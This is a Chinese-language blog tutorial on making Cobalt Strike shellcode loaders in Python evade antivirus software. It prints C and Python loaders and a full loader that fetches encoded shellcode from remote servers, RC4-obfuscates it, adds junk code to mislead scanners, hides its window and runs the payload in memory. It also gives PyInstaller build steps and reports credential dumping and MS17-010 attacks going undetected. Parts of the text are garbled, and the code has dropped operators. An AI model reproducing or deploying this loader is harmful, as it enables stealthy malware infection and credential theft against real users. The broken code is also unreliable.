利用python免殺cs shellcode(python免殺處理)
0x01 前言
2019年,告別了coder的世界,告別了從前的生活。我決定暫時(shí)拋開(kāi)金錢(qián)至上的價(jià)值體系,以一個(gè)Fucking loser的身份去尋找人生中的三大哲學(xué)問(wèn)題,我是誰(shuí),我在哪兒,我在做什么。褪去了互聯(lián)網(wǎng)行業(yè)的爾虞我詐,輕浮縹緲。在這個(gè)鋪天蓋地的泛娛樂(lè)時(shí)代,我決定去看看大海,去感受下海水的味道,沒(méi)錯(cuò),它確實(shí)是咸的。當(dāng)沙灘上的沙子鋪滿全身的那一刻,我,擁有了幾分鐘童年。在途中,偶遇了黃河,沒(méi)錯(cuò),它確實(shí)很黃,并且波濤洶涌。也在這途中,緣分使我進(jìn)入了曾經(jīng)告別的安全行業(yè)。
0x02 概述
1、什么是shellcode
在維基百科中這樣解釋道:在黑客攻擊中,shellcode是一小段代碼,用于利用軟件漏洞作為有效載荷。它之所以被稱為“shellcode”,是因?yàn)樗ǔ?dòng)一個(gè)命令shell,攻擊者可以從這個(gè)命令shell控制受損的計(jì)算機(jī),但是執(zhí)行類(lèi)似任務(wù)的任何代碼都可以被稱為shellcode。因?yàn)橛行лd荷(payload)的功能不僅限于生成shell,所以有些人認(rèn)為shellcode的名稱是不夠嚴(yán)謹(jǐn)?shù)摹H欢?,試圖取代這一術(shù)語(yǔ)的努力并沒(méi)有得到廣泛的接受。shellcode通常是用機(jī)器碼編寫(xiě)的。
翻譯成人話就是:shellcode是一段機(jī)器碼,用于執(zhí)行某些動(dòng)作。
2、什么是機(jī)器碼
在百度百科中這樣解釋道:計(jì)算機(jī)直接使用的程序語(yǔ)言,其語(yǔ)句就是機(jī)器指令碼,機(jī)器指令碼是用于指揮計(jì)算機(jī)應(yīng)做的操作和操作數(shù)地址的一組二進(jìn)制數(shù)。
翻譯成人話就是:直接指揮計(jì)算機(jī)的機(jī)器指令碼。
人們用助記符號(hào)代替機(jī)器指令碼從而形成了匯編語(yǔ)言,后來(lái)為了使計(jì)算機(jī)用戶編程序更容易,發(fā)展出了各種高級(jí)計(jì)算機(jī)語(yǔ)言。但是,無(wú)論是匯編語(yǔ)言還是其他各種面向過(guò)程異或面向?qū)ο蟮母呒?jí)語(yǔ)言所寫(xiě)的代碼最終都要被相關(guān)的翻譯編譯環(huán)境轉(zhuǎn)換成相應(yīng)的機(jī)器指令碼,計(jì)算機(jī)才能運(yùn)行該段代碼,因?yàn)橛?jì)算機(jī)只認(rèn)識(shí)機(jī)器指令碼。
3、什么是shellcode loader
人話:shellcode loader 是用于加載和運(yùn)行shellcode的代碼。
C/C 加載方式
#include "pch.h"#include <windows.h>#include <stdio.h>#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")//不顯示窗口unsigned char shellcode[] = "xfcxe8x89x00x00x00x60x89xe5......";void main(){ LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode),MEM_COMMIT | MEM_RESERVE, PAGE_exeCUTE_READWRITE); if (Memory == NULL) { return; } memcpy(Memory, shellcode, sizeof(shellcode)); ((void(*)())Memory)();}
Python 加載方式
#!/usr/bin/pythonimport ctypesshellcode = bytearray("xfcxe8x89x00x00x00x60x89......")ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
當(dāng)然,shellcode loader的編寫(xiě)方式很多,匯編,go,csharp以及其他很多語(yǔ)言,這里不在一一舉例,接下來(lái)我們進(jìn)入利用python語(yǔ)言編寫(xiě) shellcode loader 以達(dá)到靜態(tài)動(dòng)態(tài)都繞過(guò)殺軟的目的。
0x03 為什么使用python
python語(yǔ)言入門(mén)門(mén)檻低,上手快,且兩三年前就出現(xiàn)了這種免殺方式,但是很多人說(shuō)網(wǎng)上公開(kāi)的代碼已經(jīng)不免殺了。事實(shí)真的如此嗎?你有沒(méi)有靜下心來(lái)code過(guò),是否去了解過(guò)相關(guān)的原理,是否通過(guò)學(xué)習(xí)到的原理去思維發(fā)散過(guò),是否通過(guò)code去fuzz過(guò)?如果沒(méi)有,你的Cobaltstrike和Metasploit只適合躺在那兒意淫,怪我咯。廢話不多說(shuō),進(jìn)入正題。
0x04 環(huán)境準(zhǔn)備
1、python-2.7.17.amd64
下載地址:https://www.python.org/ftp/python/2.7.17/python-2.7.17.amd64.msi
2、pywin32-227.win-amd64-py2.7
下載地址:https://github.com/mhammond/pywin32/releases
3、PyInstaller3.0
下載地址:https://github.com/pyinstaller/pyinstaller/releases
4、簡(jiǎn)要說(shuō)明:
這一套環(huán)境搭配是我經(jīng)過(guò)不斷的實(shí)驗(yàn)和個(gè)人喜好總結(jié)出來(lái)的,安裝方式不在累述,如果你連這點(diǎn)學(xué)習(xí)能力都沒(méi)有話,你還是讓Cobaltstrike和Metasploit躺在那兒意淫吧。個(gè)人建議:第一:不要使用pip方式安裝PyInstaller,至于為什么,你多嘗試幾次就知道各種兼容環(huán)境是有多麻煩了。第二:如果你本機(jī)還安裝了python3的環(huán)境,如果你怕麻煩,你可以單獨(dú)在虛擬機(jī)里面安裝這個(gè)環(huán)境,因?yàn)閜ython3和python2共存,你還得倒騰一會(huì)兒,里面的坑還有 pip2 pip3得區(qū)分開(kāi)等等。愿意倒騰的推薦下面幾篇文章用作參考
https://blog.csdn.net/zydz/article/details/78121936
https://blog.csdn.net/C_chuxin/article/details/82962797
https://blog.csdn.net/qq_34444097/article/details/103027906
0x05 免殺原理
1、:shellcode字符串 不做硬編碼(人話:shellcode字符串不寫(xiě)死在代碼里面)
2、:shellcode字符串 多種編碼方式混淆
3、:shellcode字符串 加密
4、:添加無(wú)危害的代碼執(zhí)行流程擾亂av分析(早些年的花指令免殺思維)
5、:CobaltStrike生成的shellcode是一段下載者,主要功能是下載becon.dll,然后加載進(jìn)內(nèi)存,很多功能都在bencon里面,所以說(shuō)cs的shellcode其實(shí)不具備多少危險(xiǎn)動(dòng)作的,但是它為什么會(huì)被殺毒軟件查殺呢,那是因?yàn)闅⒍拒浖靡恍┧惴ɡ缒:K惴ǎ‵uzzy Hashing)提取出來(lái)了特征碼。
6:CobaltStrike自身是用的管道進(jìn)行進(jìn)程通信。
目前的反病毒安全軟件,常見(jiàn)有三種,一種基于特征,一種基于行為,一種基于云查殺。云查殺的特點(diǎn)基本也可以概括為特征查殺。
根據(jù)我fuzz得出的結(jié)論:動(dòng)態(tài)行為查殺真的不好過(guò)么?答案是否定的:CobaltStrike的管道通信模式加上將花指令免殺思維運(yùn)用在高級(jí)語(yǔ)言層面上一樣有效,人話就是在shellcode loader的代碼層面加一些正常的代碼,讓exe本身?yè)碛姓5膭?dòng)作,擾亂av的判斷,當(dāng)然這個(gè)的前提是因?yàn)槲覀冋驹诹薈obaltStrike的管道通信模式的優(yōu)勢(shì)上。靜態(tài)查殺好過(guò)么?答案是:好過(guò),shellcode不落地 CobaltStrike本身的管道通信模式 shellcode字符串各種組合的編碼 加密。云查殺的特點(diǎn)約等于特征查殺,好過(guò)。
總結(jié):本文所闡述的粗略且淺顯的免殺方法都是站在CobaltStrike強(qiáng)大的肩膀上實(shí)現(xiàn)的。
0x06 show you the code
from ctypes import *import ctypesimport sys, os, hashlib, time, base64import random, stringimport requestsimport time# 獲取隨機(jī)字符串函數(shù),減少特征def GenPassword(length): numOfNum = random.randint(1,length-1) numOfLetter = length - numOfNum slcNum = [random.choice(string.digits) for i in range(numOfNum)] slcLetter = [random.choice(string.ascii_letters) for i in range(numOfLetter)] slcChar = slcNum slcLetter random.shuffle(slcChar) getPwd = ''.join([i for i in slcChar]) return getPwd# rc4加解密函數(shù),public_key(公鑰)使用GenPassword函數(shù),減少特征def rc4(string, op='encode', public_key=GenPassword(7), expirytime=0): ckey_lenth = 4 public_key = public_key and public_key or '' key = hashlib.md5(public_key).hexdigest() keya = hashlib.md5(key[0:16]).hexdigest() keyb = hashlib.md5(key[16:32]).hexdigest() keyc = ckey_lenth and (op == 'decode' and string[0:ckey_lenth] or hashlib.md5(str(time.time())).hexdigest()[32 - ckey_lenth:32]) or '' cryptkey = keya hashlib.md5(keya keyc).hexdigest() key_lenth = len(cryptkey) # 64 string = op == 'decode' and base64.b64decode(string[4:]) or '0000000000' hashlib.md5(string keyb).hexdigest()[0:16] string string_lenth = len(string) result = '' box = list(range(256)) randkey = [] for i in xrange(255): randkey.append(ord(cryptkey[i % key_lenth])) for i in xrange(255): j = 0 j = (j box[i] randkey[i]) % 256 tmp = box[i] box[i] = box[j] box[j] = tmp for i in xrange(string_lenth): a = j = 0 a = (a 1) % 256 j = (j box[a]) % 256 tmp = box[a] box[a] = box[j] box[j] = tmp result = chr(ord(string[i]) ^ (box[(box[a] box[j]) % 256])) if op == 'decode': if (result[0:10] == '0000000000' or int(result[0:10]) - int(time.time()) > 0) and result[10:26] == hashlib.md5( result[26:] keyb).hexdigest()[0:16]: return result[26:] else: return None else: return keyc base64.b64encode(result)# 以下為shellcode loader代碼# shellcode字符串經(jīng)過(guò)base64編碼再經(jīng)過(guò)hex編碼分成三塊,存放在某幾個(gè)服務(wù)器上# get請(qǐng)求方式得到經(jīng)過(guò)編碼的shellcode字符串res1 = requests.get("http://xxx.xxx.xxx/code/Shellcode1.TXT")res2 = requests.get("http://xxx.xxx.xxx/code/Shellcode2.TXT")res3 = requests.get("http://xxx.xxx.xxx/code/Shellcode3.TXT")VirtualAlloc = ctypes.windll.kernel32.VirtualAllocVirtualProtect = ctypes.windll.kernel32.VirtualProtectwhnd = ctypes.windll.kernel32.GetConsoleWindow()rcpw = GenPassword(13)# 得到經(jīng)過(guò)編碼后的shellcode字符串后進(jìn)行rc4加密,私鑰通過(guò)GenPassword()函數(shù)得到# 以此減少特碼,達(dá)到內(nèi)存中不暴露shellcode原始字符串buf = rc4(base64.b64decode(res1.text res2.text res3.text).decode('hex'),'encode',rcpw)rc4(res2.text,'encode',GenPassword(13))# 干擾代碼if whnd != 0: if GenPassword(6) != GenPassword(7):#干擾代碼 ctypes.windll.user32.ShowWindow(whnd, 0) ctypes.windll.kernel32.CloseHandle(whnd)# 解密shellcodescode = bytearray(rc4(buf, 'decode', rcpw))rc4(res2.text res1.text,'encode',GenPassword(13))# 干擾代碼# 申請(qǐng)可讀可寫(xiě)不可執(zhí)行的內(nèi)存memHscode = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(scode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))rc4(res1.text,'encode',GenPassword(13))# 干擾代碼buf = (ctypes.c_char * len(scode)).from_buffer(scode)old = ctypes.c_long(1)# 使用VirtualProtect將shellcode的內(nèi)存區(qū)塊設(shè)置為可執(zhí)行,所謂的漸進(jìn)式加載模式VirtualProtect(memHscode, ctypes.c_int(len(scode)), 0x40, ctypes.byref(old))ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memHscode), buf, ctypes.c_int(len(scode)))fuck=rc4(GenPassword(7),'encode',GenPassword(13))# 干擾代碼runcode = cast(memHscode, CFUNCTYPE(c_void_p))# 創(chuàng)建 shellcode 的函數(shù)指針fuck=rc4(GenPassword(7),'encode',GenPassword(13))# 干擾代碼runcode()# 執(zhí)行
0x07 利用PyInstaller編譯
1、不指定圖標(biāo)的編譯方式
python2 PyInstaller.py --noconsole --onefile cscs.py
2、指定圖標(biāo)的編譯方式
python2 PyInstaller.py --noconsole --icon csicon.ico --onefile cscs.py
0x08 成果檢驗(yàn)
1、測(cè)試環(huán)境
【win10專業(yè)版 windows defender】【win7 企業(yè)版 360全家桶 火絨】【微步云沙箱】【virustotal.com】
3、微步云沙箱
4、virustotal
5、動(dòng)態(tài)行為檢測(cè)
在win7企業(yè)版上 360全家桶 火絨全部更新到最新的情況下測(cè)試
Cobalt Strike成功上線,且360 火絨沒(méi)有任何攔截或者提示的行為
當(dāng)然這都是沒(méi)用的,接下來(lái)看看使用cs的功能時(shí),會(huì)怎么樣
1、logonpasswords
一切正常,且殺軟沒(méi)有任何攔截與提示
2、查看進(jìn)程列表
3、屏幕截圖
當(dāng)然,這都是些沒(méi)用的,接下來(lái),來(lái)點(diǎn)刺激的。
4、ms17010
ms17010打得也流暢。且360全家桶 火絨沒(méi)有任何攔截 提示。
5、聯(lián)動(dòng)Metasploit
win10專業(yè)版 windows denfender
附上一張?jiān)?jīng)測(cè)試時(shí)忘了替換vps的ip之后的事情。。。
由于我們上傳了微步云沙箱以及virustotal.com,樣本就會(huì)被各大殺軟廠家拿去分析,提煉出特征碼,以及研究防御姿勢(shì),所以建議大家測(cè)試的時(shí)候自己搭虛擬機(jī)測(cè)試吧,不然你的vps就得換了(ip地址會(huì)被標(biāo)記),而且自己fuzz出來(lái)的姿勢(shì)很快就會(huì)被提煉出特征碼。那為什么我愿意 show you the code呢?因?yàn)榫退愎_(kāi)的代碼被提取了特征碼,自己再改改就不殺了啊,就這么簡(jiǎn)單。
0x09 總結(jié)
此種方式的缺點(diǎn):?jiǎn)挝募w積過(guò)大,go語(yǔ)言比較小,veil里面有使用go進(jìn)行免殺的,單文件體積在800kb左右,如果你學(xué)過(guò)go的語(yǔ)法,建議你利用go語(yǔ)言來(lái)免殺,具體操作,你可以在使用veil時(shí),把它生成的go源碼拿出來(lái),結(jié)合本文所提及或者其他姿勢(shì)發(fā)散你的思維,也能做出很好的效果。當(dāng)然我首薦:C/C
實(shí)操首選合天網(wǎng)安實(shí)驗(yàn)室,今天推薦實(shí)驗(yàn):《實(shí)驗(yàn):Shellcode編寫(xiě)練習(xí)(合天網(wǎng)安實(shí)驗(yàn)室)》,點(diǎn)擊鏈接開(kāi)始做實(shí)驗(yàn)吧!